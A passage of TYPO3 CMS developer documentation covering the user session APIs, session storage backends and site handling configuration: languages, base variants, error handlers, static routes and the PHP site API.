The UserSession object contains all information regarding a users' session, for website visitors with session data (e.g. basket for anonymous / not-logged-in users), for frontend users as well as authenticated backend users. These are for example, the session id, the session data, if a session was updated, if the session is anonymous, or if it is marked as permanent and so on.

The UserSession object can be used to change and retrieve information in an object-oriented way.

For creating UserSession-objects the UserSessionManager must be used since this manager acts as the main factory for user sessions and therefore handles all necessary tasks like fetching, evaluating and persisting them. Effectively encapsulating all calls to the SessionManager which is used for the session backend.

Public API of UserSessionManager

The UserSessionManager can be retrieved using its static factory method create():

EXT:some_extension/Classes/Controller/SomeController.php
use TYPO3\CMS\Core\Session\UserSessionManager;

$loginType = 'BE'; // or 'FE' for frontend
$userSessionManager = UserSessionManager::create($loginType);
Copied!

You can then use the UserSessionManager to work with user sessions. A couple of public methods are available:

Method Description
createFromRequestOrAnonymous($request, $cookieName) Creates and returns a session from the given request. If the given cookieName can not be obtained from the request an anonymous session will be returned.
createFromGlobalCookieOrAnonymous($cookieName) Creates and returns a session from a global cookie ( $_COOKIE). If no cookie can be found for the given name, an anonymous session will be returned. It is recommended to use the PSR-7-Request based method instead, as this method is scheduled for removal in TYPO3 v13.0.
createAnonymousSession() Creates and returns an anonymous session object (not persisted).
createSessionFromStorage($sessionId) Creates and returns a new session object for a given session id.
hasExpired($session) Checks whether a given user session object has expired.
willExpire($session, $gracePeriod) Checks whether a given user session will expire within the given grace period.
fixateAnonymousSession($session, $isPermanent) Persists an anonymous session without a user logged in, in order to store session data between requests.
elevateToFixatedUserSession($session, $userId, $isPermanent) Removes existing entries, creates and returns a new user session object. See regenerateSession() below.
regenerateSession($sessionId, $sessionRecord, $anonymous) Regenerates the given session. This method should be used whenever a user proceeds to a higher authorization level, e.g. when an anonymous session is now authenticated.
updateSessionTimestamp($session) Updates the session timestamp for the given user session if the session is marked as "needs update" (which means the current timestamp is greater than "last updated + a specified gracetime").
isSessionPersisted($session) Checks whether a given session is already persisted.
removeSession($session) Removes a given session from the session backend.
updateSession($session) Updates the session data + timestamp in the session backend.
collectGarbage($garbageCollectionProbability) | Calls the session backends collectGarbage() method.

Public API of UserSession

The session object created or retrieved by the UserSessionManager provides the following API methods:

Method Return type Description
getIdentifier() String Returns the session id. This is the ses_id respectively the AbstractUserAuthentication->id.
getUserId() Int or NULL Returns the user id the session belongs to. Can also return 0 or NULL Which indicates an anonymous session. This is the ses_userid.
getLastUpdated() Int Returns the timestamp of the last session data update. This is the ses_tstamp.
set($key, $value) Void Set or update session data value for a given key. It's also internally used if calling AbstractUserAuthentication->setSessionData().
get($key) Mixed Returns the session data for the given key or NULL if the key does not exist. It's internally used if calling AbstractUserAuthentication->getSessionData().
getData() Array Returns the whole data array.
hasData() Bool Checks whether the session has some data assigned.
overrideData($data) Void Overrides the whole data array. Can also be used to unset the array. This also sets the $wasUpdated pointer to TRUE
dataWasUpdated() Bool Checks whether the session data has been updated.
isAnonymous() Bool Check if the user session is an anonymous one. This means, the session does not belong to a logged-in user.
getIpLock() string Returns the ipLock state of the session
isNew() Bool Checks whether the session is new.
isPermanent() Bool Checks whether the session was marked as permanent on creation.
needsUpdate() Bool Checks whether the session has to be updated.
toArray() Array Returns the session and its data as array in the old sessionRecord format.

Session storage framework

As of version 8.6, TYPO3 comes with the option to choose between different storages for both frontend end backend user sessions (called session backends). Previously, all sessions were stored in the database in the tables fe_sessions, fe_session_data and be_sessions respectively.

The Core ships two session backends by default: - Database storage - Redis storage

By default user sessions are still stored in the database using the database storage backend, but the former table fe_session_data is obsolete and has therefore been removed.

Database storage backend

The database storage backend only requires two configuration options: The table name (table option) and whether anonymous sessions (has_anonymous option) may be stored.

The default configuration used for sessions by the Core is:

'SYS' => [
    'session' => [
        'BE' => [
            'backend' => \TYPO3\CMS\Core\Session\Backend\DatabaseSessionBackend::class,
            'options' => [
                'table' => 'be_sessions'
            ]
        ],
        'FE' => [
            'backend' => \TYPO3\CMS\Core\Session\Backend\DatabaseSessionBackend::class,
            'options' => [
                'table' => 'fe_sessions',
                'has_anonymous' => true,
            ]
        ]
    ],
],
Copied!

Using Redis to store sessions

TYPO3 also comes with the possibility to store sessions in a Redis key-value database.

The Redis session storage can be configured with LocalConfiguration.php in the SYS entry:

A sample configuration will look like this:

'SYS' => [
    'session' => [
        'BE' => [
            'backend' => \TYPO3\CMS\Core\Session\Backend\RedisSessionBackend::class,
            'options' => [
                'hostname' => 'redis.myhost.example',
                'password' => 'passw0rd',
                'database' => 0,
                'port' => 6379
            ]
        ],
        'FE' => [
            'backend' => \TYPO3\CMS\Core\Session\Backend\RedisSessionBackend::class,
            'options' => [
                'hostname' => 'redis.myhost.example',
                'password' => 'passw0rd',
                'database' => 0,
                'port' => 6379
            ]
        ],
    ],
],
Copied!

The available options are:

  • hostname: Name of the server the redis database service is running on. Default: 127.0.0.1
  • port: Port number the redis database service is listening to. Default: 6379
  • database: The redis database number to use. Default: 0
  • password: The password to use when connecting to the specified database. Optional.

Writing your own session storage

Custom sessions storage backends can be created by implementing the interface \TYPO3\CMS\Core\Session\Backend\SessionBackendInterface . The doc blocks in the interface describe how the implementing class must behave. Any number of options can be passed to the session backend.

A custom session storage backend can be used like this (similarly to the Redis backend):

'SYS' => [
    'session' => [
        'FE' => [
            'backend' => \Vendor\Sessions\MyCustomSessionBackend::class,
            'options' => [
                'foo' => 'bar',
            ]
        ],
    ],
],
Copied!

References

Site handling

The site handling defines entry points to the frontend sites of a TYPO3 instance, their languages and routing details. This chapter walks through the features of the module and goes into API and programming details.

Site handling basics

TYPO3 site handling and configuration is the starting point for creating new web sites. The corresponding modules are found in the TYPO3 backend in the section Site management.

A site configuration consists of the following parts:

  • Base URL configurations: the domain(s) to access my site.
  • Language configuration: the languages of my site.
  • Error handling: error behavior of my site (for example, configuration of custom 404 pages).
  • Static routes: static routes of my site (for example, robots.txt on a per site base).
  • Routing configuration: How shall routing behave for this site.

When creating a new page on root level via the TYPO3 backend, a very basic site configuration is generated on the fly. It prevents immediate errors due to missing configuration and can also serve as a starting point for all further actions.

Most parts of the site configuration can be edited via the graphical interface in the backend module Site.

The Sites module in the TYPO3 backend.

Site configuration storage

When creating a new site configuration, a folder is created in the file system, located at <project-root>/config/sites/<identifier>/. The site configuration is stored in a file called config.yaml.

The configuration file

The following part explains the configuration file and options:

config/sites/<some_site>/config.yaml | typo3conf/sites/<some_site>/config.yaml
rootPageId: 12
base: 'https://example.org/'
websiteTitle: Example
languages:
  - languageId: '0'
    title: English
    navigationTitle: ''
    base: /
    locale: en_US.UTF-8
    iso-639-1: en
    hreflang: en-US
    direction: ltr
    typo3Language: default
    flag: gb
  - languageId: '1'
    title: 'danish'
    navigationTitle: Dansk
    base: /da/
    locale: da_DK.UTF-8
    iso-639-1: da
    hreflang: dk-DK
    direction: ltr
    typo3Language: default
    flag: dk
    fallbackType: strict
  - languageId: '2'
    title: Deutsch
    navigationTitle: ''
    base: 'https://example.net/'
    locale: de_DE.UTF-8
    iso-639-1: de
    hreflang: de-DE
    direction: ltr
    typo3Language: de
    flag: de
    fallbackType: fallback
    fallbacks: '1,0'
errorHandling:
  - errorCode: '404'
    errorHandler: Page
    errorContentSource: 't3://page?uid=8'
  - errorCode: '403'
    errorHandler: Fluid
    errorFluidTemplate: 'EXT:my_extension/Resources/Private/Templates/ErrorPages/403.html'
    errorFluidTemplatesRootPath: 'EXT:my_extension/Resources/Private/Templates/ErrorPages'
    errorFluidLayoutsRootPath: 'EXT:my_extension/Resources/Private/Layouts/ErrorPages'
    errorFluidPartialsRootPath: 'EXT:my_extension/Resources/Private/Partials/ErrorPages'
  - errorCode: '0'
    errorHandler: PHP
    errorPhpClassFQCN: MyVendor\ExtensionName\ErrorHandlers\GenericErrorhandler
routes:
  route: robots.txt
  type: staticText
  content: |
    Sitemap: https://example.org/sitemap.xml
    User-agent: *
    Allow: /
    Disallow: /forbidden/
Copied!

Most settings can also be edited via the Site Management > Sites backend module, except for custom settings and additional routing configuration.

Site identifier

The site identifier is the name of the folder in <project-root>/config/sites/ that contains your configuration file(s). When choosing an identifier, be sure to use ASCII, but you may also use -, _ and . for convenience.

rootPageId

Root pages are identified by one of these two properties:

  • They are direct descendants of PID 0 (the root root page of TYPO3).
  • They have the Use as Root Page property in pages set to true.

websiteTitle

The title of the website which is used in <title> tag in the frontend.

base

The base is the base domain on which a website runs. It accepts either a fully qualified URL or a relative segment "/" to react to any domain name. It is possible to set a site base prefix to /site1, /site2 or even example.com instead of entering a full URI.

This allows a site base as example.com with http and https protocols to be detected, although it is recommended to redirect HTTP to HTTPS, either at the webserver level, via a .htaccess rewrite rule or by adding a redirect in TYPO3.

Please note: when the domain is an Internationalized Domain Name (IDN) containing non-Latin characters, the base must be provided in an ASCII-Compatible Encoded (ACE) format (also known as "Punycode"). You can use a converter to get the ACE format of the domain name.

languages

Available languages for a site can be specified here. These settings determine both the availability of the language and the behavior. For a detailed description see Language configuration.

errorHandling

The error handling section describes how to handle error status codes for this website. It allows you to configure custom redirects, rendering templates, and more. For a detailed description, see error handling.

routes

The routes section is used to add static routes to a site, for example a robots.txt or humans.txt file that depends on the current site (an does not contain the same content for the whole TYPO3 installation). Read more at static routes.

routeEnhancers

While page routing works out of the box without any further settings, route enhancers allow configuring routing for TYPO3 extensions. Read more at Advanced routing configuration (for extensions).

Creating a new site configuration

A new site configuration is automatically created for each new page on the rootlevel (pid = 0) and each page with the "is_siteroot" flag set.

To customize the automatically created site configuration, go to the Site Management > Sites module.

Autocreated site configuration

You can edit a site by clicking on the Edit icon (the pencil). If for some reason no site configuration was created, there will be a button to create one:

The site configuration form looks like this:

A new site creation form.

It is recommended to change the following fields:

Site Identifier

The site identifier is the name of the folder within <project-root>/config/sites/ that will hold your configuration file(s). When choosing an identifier, make sure to stick to ASCII, but for convenience you may also use -, _ and ..

Examples: main-site and landing-page.

Entry Point

Be as specific as you can for your sites without losing flexibility. So, if you have a choice between using https://example.org, example.org or /, then choose https://example.org.

This makes the resolving of pages more reliable by minimizing the risk of conflicts with other sites.

If you need to use another domain in development, for example https://example.ddev.site, it is recommended to use base variants.

The next tab, Languages, lets you configure the default language settings for your site. You can also add additional languages for multilingual sites here.

These settings determine the default behavior - setting direction and lang tags in frontend as well as locale settings.

Set default language settings

Check and correct all other settings as they will automatically used for features like hreflang tags or displaying language flags in the backend.

That is all that is required for a new site.

Learn more about adding languages, error handling and routing in the corresponding chapters.

Base variants

In site handling, "base variants" represent different bases for a website depending on a specified condition. For example, a "live" base URL might be https://example.org/, but on a local machine it is https://example.localhost/ as a domain - that is when variants are used.

Base variants exist for languages, too. Currently, these can only be defined through the respective *.yaml file, there is no backend user interface available yet.

Variants consist of two parts:

  • a base to use for this variant
  • a condition that decides when this variant shall be active

Conditions are based on Symfony expression language and allow flexible conditions, for example:

applicationContext == "Development"
Copied!

would define a base variant to use in "Development" context.

A configured base variant for development context.

The following variables and functions are available in addition to the default Symfony functionality:

Example

config/sites/<some_site>/config.yaml | typo3conf/sites/<some_site>/config.yaml
rootPageId: 1
base: 'https://example.org/'
baseVariants:
  - base: 'https://example.localhost/'
    condition: 'applicationContext == "Development"'
  - base: 'https://staging.example.org/'
    condition: 'applicationContext == "Production/Sydney"'
  - base: 'https://testing.example.org/'
    condition: 'applicationContext == "Testing/Paris"'
  - base: '%env("TYPO3_BASE")%'
    condition: 'getenv("TYPO3_BASE")'
languages:
  - title: English
    enabled: true
    locale: en_US.UTF-8
    base: /
    websiteTitle: ''
    navigationTitle: English
    flag: gb
    languageId: 0
  - title: Deutsch
    enabled: true
    locale: de_DE.UTF-8
    base: 'https://example.net/'
    baseVariants:
      - base: 'https://de.example.localhost/'
        condition: 'applicationContext == "Development"'
      - base: 'https://staging.example.net/'
        condition: 'applicationContext == "Production/Sydney"'
      - base: 'https://testing.example.net/'
        condition: 'applicationContext == "Testing/Paris"'
    websiteTitle: ''
    navigationTitle: Deutsch
    fallbackType: strict
    flag: de
    languageId: 1
Copied!

Properties

typo3.version

typo3.version
type

string

Example

11.5.24

The current TYPO3 version.

typo3.branch

typo3.branch
type

string

Example

11.5

The current TYPO3 branch.

typo3.devIpMask

typo3.devIpMask
type

string

Example

203.0.113.*

The configured devIpMask taken from $GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask'].

applicationContext

applicationContext
type

string

Example

Development

The current application context.

Functions

All functions from EXT:core/Classes/ExpressionLanguage/FunctionsProvider/DefaultFunctionsProvider.php (GitHub) are available:

ip

ip
type

string

Example

ip("203.0.113.*")

Match an IP address, value or regex, wildcards possible. Special value: devIp for matching devIpMask.

compatVersion

compatVersion
type

string

Example

compatVersion("11.5.24"), compatVersion("11.5")

Match a TYPO3 version.

like

like
type

string

Example

like("foobarbaz", "*bar*")

A comparison function to compare two strings. The first parameter is the "haystack", the second the "needle". Wildcards are allowed.

getenv

getenv
type

string

Example

getenv("TYPO3_BASE_URL")

A wrapper for PHPs getenv() function. It allows accessing environment variables.

date

date
type

string

Example

checking the current month: date("j") == 7

Get the current date in given format.

feature

feature
type

string

Example

feature("redirects.hitCount")

Check whether a feature ("feature toggle") is enabled in TYPO3.

traverse

traverse
type

array|string

Example

traverse(request.getQueryParams(), 'tx_news_pi1/news') > 0

This function has two parameters:

  • first parameter is the array to traverse
  • second parameter is the path to traverse

Adding Languages

The Site Management > Sites module lets you specify which languages are active for your site, which languages are available, and how they should behave. New languages for a site can also be configured in this module.

When the backend shows the list of available languages, the list of languages is limited to the languages defined by the sites module. For instance, the languages are used in the page module language selector, when editing records or in the list module.

The language management provides the ability to hide a language on the frontend while allowing it on the backend. This enables editors to start translating pages without them being directly live.

Language fallbacks can be configured for any language except the default one. A language fallback means that if content is not available in the current language, the content is displayed in the fallback language. This may include multiple fallback levels - for example, "Modern Chinese" might fall back to "Chinese (Traditional)", which in turn may fallback to "English". All languages can be configured separately, so you can specify different fallback chains and behaviors for each language.

Example of a language configuration (excerpt):

config/sites/<some_site>/config.yaml | typo3conf/sites/<some_site>/config.yaml
languages:
  - languageId: 0
    title: English
    navigationTitle: ''
    base: /
    locale: en_GB.UTF-8
    iso-639-1: en
    hreflang: en-US
    direction: ltr
    typo3Language: default
    flag: gb
Copied!

Configuration properties

enabled

enabled
Type
bool
Example
true

Defines, if the language is visible on the frontend. Editors in the TYPO3 backend will still be able to translate content for the language.

languageId

languageId
Type
integer
Example
1

For the default/main language of the given site, use value 0. For additional languages use a number greater than 0. Every site should have at last one language configured - with languageId: 0.

title

title
Type
string
Example
English

The internal human-readable name for this language.

websiteTitle

websiteTitle
Type
string
Example
My custom very British title

Overrides the global website title for this language.

navigationTitle

navigationTitle
Type
string
Example
British

Optional navigation title which is used in HMENU.special = language.

base

base
Type
string / URL
Example
/uk/

The language base accepts either a URL or a path segment like /en/.

baseVariants

baseVariants
Type
array

Allows different base URLs for the same language. They follow the same syntax as the base variants on the root level of the site config and they get active, if the condition matches.

Example:

baseVariants:
  -
    base: 'https://example.localhost/'
    condition: 'applicationContext == "Development"'
  -
    base: 'https://staging.example.com/'
    condition: 'applicationContext == "Production/Sydney"'
  -
    base: 'https://testing.example.com/'
    condition: 'applicationContext == "Testing/Paris"'
Copied!

locale

locale
Type
string / locale
Example
en_GB

The locale to use for this language. For example, it is used during frontend rendering. That locale needs to be installed on the server. In a Linux environment, you can see installed locales with locale -a. Multiple fallback locales can be set as a comma-separated list. TYPO3 will then iterate through the locales from left to right until it finds a locale, that is installed on the server.

iso-639-1

iso-639-1
Type
string
Example
en

The two-letter code for the language according to ISO-639 nomenclature.

hreflang

hreflang
Type
string
Example
en-GB

The frontend language for hreflang and lang tags.

direction

direction
Type
string
Example
ltr

The text direction for content in this language (left-to-right or right-to-left).

typo3Language

typo3Language
Type
string
Example
en

Language identifier to use in TYPO3 XLIFF files.

flag

flag
Type
string
Example
gb

The flag identifier. For example, the flag is displayed in the backend page module.

fallbackType

fallbackType
Type
string
Example
strict

The language fallback mode, one of:

fallback

Fall back to another language, if the record does not exist in the requested language. Do overlays and keep the ones that are not translated.

It behaves like the old config.sys_language_overlay = 1. Keep the ones that are only available in default language.

strict

Same as fallback but removes the records that are not translated.

If there is no overlay, do not render the default language records, it behaves like the old hideNonTranslated, and include records without default translation.

free

Fall back to another language, if the record does not exist in the requested language. But always fetch only records of this specific (available) language.

It behaves like old config.sys_language_overlay = 0.

fallbacks

fallbacks
Type
comma-separated list of language IDs
Example
1,0

The list of fallback languages. If none has a matching translation, a "pageNotFound" is thrown.

Error handling

Error handling can be configured on site level and is automatically dependent on the current site and language.

Currently, there are two error handler implementations and the option to write a custom handler:

The configuration consists of two parts:

  • The HTTP error status code that should be handled
  • The error handler configuration

You can define one error handler per HTTP error code and add a generic one that serves all error pages.

Add custom error handling.

Properties

These properties apply to all error handlers.

errorCode

errorCode
type

int

Example

404

The HTTP (error) status code to handle. The predefined list contains the most common errors. A free definition of other error codes is also possible. The special value 0 will take care of all errors.

errorHandler

errorHandler
type

string / enum

Example

Fluid

Define how to handle these errors:

  • Fluid for rendering a Fluid template
  • Page for fetching content from a page
  • PHP for a custom implementation

Page-based error handler

The page error handler displays the content of a page in case of a certain HTTP status. The content of this page is generated via a TYPO3-internal sub-request.

The page-based error handler is defined in EXT:core/Classes/Error/PageErrorHandler/PageContentErrorHandler.php (GitHub).

In order to prevent possible denial-of-service attacks when the page-based error handler is used with the cURL-based approach, the content of the error page is cached in the TYPO3 page cache. Any dynamic content on the error page (for example, content created by TypoScript or uncached plugins) will therefore also be cached.

If the error page contains dynamic content, TYPO3 administrators must ensure that no sensitive data (for example, username of logged-in frontend user) will be shown on the error page.

If dynamic content is required on the error page, it is recommended to implement a custom PHP based error handler.

FeatureFlag: subrequestPageErrors

Error pages (such as 404 - not found, or 403 - access denied) may be generated via a TYPO3-internal sub-request instead of an external HTTP request (cURL over Guzzle).

This feature is disabled by default, as there are some cases where stateful information is not correctly reset for the sub-request. It may be enabled on an experimental basis via a feature flag called subrequestPageErrors in the Admin Tools > Settings module.

Properties

The page-based error handler has the properties Properties and Properties and the following:

errorContentSource

errorContentSource
type

string

Example

t3://page?uid=123

May be either an external URL or TYPO3 page that will be fetched with cURL and displayed in case of an error.

Examples

Internal error page

Show the internal page with uid 145 on all errors with HTML status code 404.

config/sites/<some_site>/config.yaml | typo3conf/sites/<some_site>/config.yaml
errorHandling:
  - errorCode: 404
    errorHandler: Page
    errorContentSource: 't3://page?uid=145'
Copied!

External error page

Shows an external page on all errors with a HTTP status code not defined otherwise.

config/sites/<some_site>/config.yaml | typo3conf/sites/<some_site>/config.yaml
errorHandling:
  - errorCode: 0
    errorHandler: Page
    errorContentSource: 'https://example.org/page-not-found'
Copied!

Fluid-based error handler

The Fluid-based error handler is defined in EXT:core/Classes/Error/PageErrorHandler/FluidPageErrorHandler.php (GitHub).

Properties

The Fluid-based error handler has the properties Properties and Properties, and the following:

errorFluidTemplate

errorFluidTemplate
type

string

Example

EXT:my_sitepackage/Resources/Private/Templates/Sites/Error.html

The path to the Fluid template file. Path may be

  • absolute
  • relative to site root
  • starting with EXT: for files from an extension

errorFluidTemplatesRootPath

errorFluidTemplatesRootPath
type

string [optional]

Example

EXT:my_sitepackage/Resources/Private/Templates/Sites/

The paths to the Fluid templates in case more flexibility is needed.

errorFluidPartialsRootPath

errorFluidPartialsRootPath
type

string [optional]

Example

EXT:my_sitepackage/Resources/Private/Partials/Sites/

The paths to the Fluid partials in case more flexibility is needed.

errorFluidLayoutsRootPath

errorFluidLayoutsRootPath
type

string [optional]

Example

EXT:my_sitepackage/Resources/Private/Layouts/Sites/

The paths to Fluid layouts in case more flexibility is needed.

Example

Show the content of a Fluid template in case of an error with HTTP status 404:

config/sites/<some_site>/config.yaml | typo3conf/sites/<some_site>/config.yaml
errorHandling:
  - errorCode: 404
    errorHandler: Fluid
    errorFluidTemplate: 'EXT:my_sitepackage/Resources/Private/Templates/Sites/Error.html'
    errorFluidTemplatesRootPath: ''
    errorFluidLayoutsRootPath: ''
    errorFluidPartialsRootPath: 'EXT:my_sitepackage/Resources/Private/Partials/Sites/'
Copied!

Writing a custom page error handler

The error handling configuration for sites allows implementing a custom error handler, if the existing options of rendering a Fluid template or page are not enough. An example would be an error page that uses the requested page or its parameters to search for relevant content on the website.

A custom error handler needs to have a constructor that takes exactly two arguments:

  • $statusCode: an integer holding the status code TYPO3 expects the handler to use
  • $configuration: an array holding the configuration of the handler

Furthermore it needs to implement the PageErrorHandlerInterface (EXT:core/Classes/Error/PageErrorHandler/PageErrorHandlerInterface.php (GitHub)). The interface specifies only one method: handlePageError(ServerRequestInterface $request, string $message, array $reasons = []): ResponseInterface

Let us take a closer look:

The method handlePageError() gets three parameters:

  • $request: the current HTTP request - for example, we can access query parameters and the request path via this object
  • $message: an error message string - for example, "Cannot connect to the configured database." or "Page not found"
  • $reasons: an arbitrary array of failure reasons - see EXT:frontend/Classes/Page/PageAccessFailureReasons.php (GitHub)

What you do with these variables is left to you, but you need to return a valid \Psr\Http\Message\ResponseInterface response - most usually an \TYPO3\CMS\Core\Http\HtmlResponse .

For an example implementation of the PageErrorHandlerInterface, take a look at EXT:core/Classes/Error/PageErrorHandler/PageContentErrorHandler.php (GitHub) or EXT:core/Classes/Error/PageErrorHandler/FluidPageErrorHandler.php (GitHub).

Properties

The custom error handlers have the properties Properties and Properties and the following:

errorPhpClassFQCN

errorPhpClassFQCN
type

string

Example

\MyVendor\MySitePackage\Error\MyErrorHandler

Fully-qualified class name of a custom error handler implementing PageErrorHandlerInterface.

Example for a simple 404 error handler

The configuration:

config/sites/<some_site>/config.yaml | typo3conf/sites/<some_site>/config.yaml
errorHandling:
  - errorCode: '404'
    errorHandler: PHP
    errorPhpClassFQCN: MyVendor\MySitePackage\Error\MyErrorHandler
Copied!

The error handler class:

EXT:my_sitepackage/Classes/Error/MyErrorHandler.php
<?php

declare(strict_types=1);

namespace MyVendor\MySitePackage\Error;

use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use TYPO3\CMS\Core\Error\PageErrorHandler\PageErrorHandlerInterface;
use TYPO3\CMS\Core\Http\HtmlResponse;

final class ErrorHandler implements PageErrorHandlerInterface
{
    private int $statusCode;
    private array $errorHandlerConfiguration;

    public function __construct(int $statusCode, array $configuration)
    {
        $this->statusCode = $statusCode;
        // This contains the configuration of the error handler which is
        // set in site configuration - this example does not use it.
        $this->errorHandlerConfiguration = $configuration;
    }

    public function handlePageError(
        ServerRequestInterface $request,
        string $message,
        array $reasons = []
    ): ResponseInterface {
        return new HtmlResponse('<h1>Not found, sorry</h1>', $this->statusCode);
    }
}
Copied!

Static routes

Static routes provide a way to create seemingly static content on a per site base. Take the following example: In a multi-site installation you want to have different robots.txt files for each site that should be reachable at /robots.txt on each site. Now, you can add a static route robots.txt to your site configuration and define which content should be delivered.

Routes can be configured as top level files (as in the robots.txt case), but may also be configured to deeper route paths ( my/deep/path/to/a/static/text, for example). Matching is done on the full path, but without any parameters.

Static routes can be configured via the user interface or directly in the YAML configuration. There are two options: deliver static text or resolve a TYPO3 URL.

staticText

The staticText option allows to deliver simple text content. The text can be added through a text field directly in the site configuration. This is suitable for files like robots.txt or humans.txt.

A configuration example:

config/sites/<some_site>/config.yaml | typo3conf/sites/<some_site>/config.yaml
route: robots.txt
type: staticText
content: |
  Sitemap: https://example.org/sitemap.xml
  User-agent: *
  Allow: /
  Disallow: /forbidden/
Copied!

TYPO3 URL (t3://)

The type uri for a TYPO3 URL provides the option to render either a file, page or URL. Internally, a request to the file or URL is done and its content delivered.

A configuration example:

config/sites/<some_site>/config.yaml | typo3conf/sites/<some_site>/config.yaml
- route: sitemap.xml
  type: uri
  source: 't3://page?uid=1&type=1533906435'
- route: favicon.ico
  type: uri
  source: 't3://file?uid=77'
Copied!

Using environment variables in the site configuration

Environment variables in the site configuration allows setting placeholders for configuration options that get replaced by environment variables specific to the current environment.

The format for environment variables is %env(ENV_NAME)%. Environment variables may be used to replace complete values or parts of a value.

Examples

base: 'https://%env(BASE_DOMAIN)%/'
Copied!

When using environment variables in conditions, make sure to quote them correctly:

condition: '"%env(my_env)%" == "my_comparison_string"'
Copied!

Using site configuration in TypoScript

getText

Site configuration can be accessed via the site property in TypoScript.

Example:

page.10 = TEXT
page.10.data = site:base
page.10.wrap = This is your base URL: |
Copied!

Where site is the keyword for accessing an aspect, and the following parts are the configuration key(s) to access.

data = site:customConfigKey.nested.value
Copied!

To access the current siteLanguage use the siteLanguage prefix:

page.10 = TEXT
page.10.data = siteLanguage:navigationTitle
page.10.wrap = This is the title of the current site language: |

page.10 = TEXT
page.10.dataWrap = The current site language direction is {siteLanguage:direction}
Copied!

Site configuration can also be used in TypoScript conditions and as TypoScript constants.

FLUIDTEMPLATE

You can use the SiteProcessor in the The FLUIDTEMPLATE content object to fetch data from the site entity:

tt_content.mycontent.20 = FLUIDTEMPLATE
tt_content.mycontent.20 {
    file = EXT:myextension/Resources/Private/Templates/ContentObjects/MyContent.html

    dataProcessing.10 = TYPO3\CMS\Frontend\DataProcessing\SiteProcessor
    dataProcessing.10 {
        as = site
    }
}
Copied!

In the Fluid template the properties of the site entity can be accessed with:

<p>{site.rootPageId}</p>
<p>{site.configuration.someCustomConfiguration}</p>
Copied!

Using site configuration in conditions

Site configuration may be used in all conditions that use Symfony expression language via the EXT:core/Classes/ExpressionLanguage/FunctionsProvider/Typo3ConditionFunctionsProvider.php (GitHub) class - at the moment, this means in EXT:form variants and TypoScript conditions.

Two objects are available:

site
You can access the properties of the top level site configuration.
siteLanguage
Access the configuration of the current site language.

TypoScript examples

The identifier of the site name is evaluated:

[site("identifier") == "someIdentifier"]
   page.30.value = foo
[GLOBAL]
Copied!

A custom field is evaluated:

[site("configuration")["custom_field"] == "compareValue"]
   page.35.value = abc
[GLOBAL]
Copied!

site("methodName") is equivalent to a call of "methodName" on the current site object.

You can take a look at \TYPO3\CMS\Core\Site\Entity\SiteInterface for accessible methods.

Property of the current site language is evaluated:

[siteLanguage("locale") == "de_CH.UTF-8"]
   page.40.value = bar
[GLOBAL]
Copied!

Example for EXT:form

Translate options via siteLanguage condition:

renderables:
  - type: Page
    identifier: page-1
    label: DE
    renderingOptions:
    previousButtonLabel: 'zurück'
    nextButtonLabel: 'weiter'
    variants:
      - identifier: language-variant-1
        condition: 'siteLanguage("locale") == en_US.UTF-8'
        label: EN
        renderingOptions:
        previousButtonLabel: 'Previous step'
        nextButtonLabel: 'Next step'
Copied!

Using site configuration in TCA foreign_table_where

TCA: foreign_table_where

The foreign_table_where setting in TCA allows marker-based placeholders to customize the query. The best place to define site-dependent settings is the site configuration, which can be used within foreign_table_where.

To access a configuration value the following syntax is available:

  • ###SITE:<KEY>### - <KEY> is your setting name from site config e.g. ###SITE:rootPageId###
  • ###SITE:<KEY>.<SUBKEY>### - an array path notation is possible. e.g. ###SITE:mySetting.categoryPid###

Example:

// ...
'fieldConfiguration' => [
    'foreign_table_where' => ' AND ({#sys_category}.uid = ###SITE:rootPageId### OR {#sys_category}.pid = ###SITE:mySetting.categoryPid###) ORDER BY sys_category.title ASC',
],
// ...
Copied!

Site settings

It is possible to define a settings block in a site's config.yaml which can be accessed both in backend and frontend via the site object \TYPO3\CMS\core\Site\Entity\Site.

Additionally, these settings are available in both page TSconfig and TypoScript templates. This allows us, for example, to configure site-wide storage page IDs which can be used in both frontend and backend.

Adding site settings

Add a settings block to the config.yaml:

config/sites/<some_site>/config.yaml | typo3conf/sites/<some_site>/config.yaml
settings:
  categoryPid: 658
  styles:
    content:
      loginform:
        pid: 23
Copied!

Accessing site settings in page TSconfig or TypoScript

// store tx_ext_data records on the given storage page by default (e.g. through IRRE)
TCAdefaults.tx_ext_data.pid = {$categoryPid}

// load category selection for plugin from out dedicated storage page
TCEFORM.tt_content.pi_flexform.ext_pi1.sDEF.categories.PAGE_TSCONFIG_ID = {$categoryPid}
Copied!

CLI tools for site handling

Two CLI commands are available:

  • site:list
  • site:show

List all configured sites

The following command will list all configured sites with their identifier, root page, base URL, languages, locales and a flag whether or not the site is enabled.

vendor/bin/typo3 site:list
Copied!
typo3/sysext/core/bin/typo3 site:list
Copied!

Show configuration for one site

The show command needs an identifier of a configured site which must be provided after the command name. The command will output the complete configuration for the site in YAML syntax.

vendor/bin/typo3 site:show <identifier>
Copied!
typo3/sysext/core/bin/typo3 site:show <identifier>
Copied!

PHP API: accessing site configuration

The PHP API for sites comes in two parts:

  • Accessing the current, resolved site object
  • Finding a site object / configuration via a page or identifier

The first case is relevant when we want to access the site configuration in the current request, for example, if we want to know which language is currently rendered.

The second case is about accessing site configuration options independent of the current request but based on a page ID or a site identifier.

Let us look at both cases in detail.

Accessing the current site object

When rendering the frontend or backend, TYPO3 builds an HTTP request object through a PSR-15 middleware stack and enriches it with information. Part of that information are the objects \TYPO3\CMS\Core\Site\Entity\Site and \TYPO3\CMS\Core\Site\Entity\SiteLanguage . Both objects are available as attributes in the current request object.

Depending on the context, there are two main ways to access them:

  • via the PSR-7 HTTP request object directly - for example in a PSR-15 middleware, an Extbase controller or a user function.
  • via $GLOBALS['TYPO3_REQUEST'] - everywhere you do not have a request object.

Methods:

EXT:my_extension/Classes/MyClass.php
// current site
$site = $request->getAttribute('site');

// current site language
$siteLanguage = $request->getAttribute('language');
Copied!

Changed in version 11.3

The Extbase request class implements the PSR-7 \Psr\Http\Message\ServerRequestInterface . Therefore you can retrieve all needed attributes from the request object.

Finding a site object

When you need to access the site configuration for a specific page ID or by a site identifier, you can use the class \TYPO3\CMS\Core\Site\SiteFinder .

The methods for finding a specific site throw a \TYPO3\CMS\Core\Exception\SiteNotFoundException if no site was found.

API

class SiteFinder
Fully qualified name
\TYPO3\CMS\Core\Site\SiteFinder

Is used in backend and frontend for all places where to read / identify sites and site languages.

getAllSites ( bool $useCache = true)

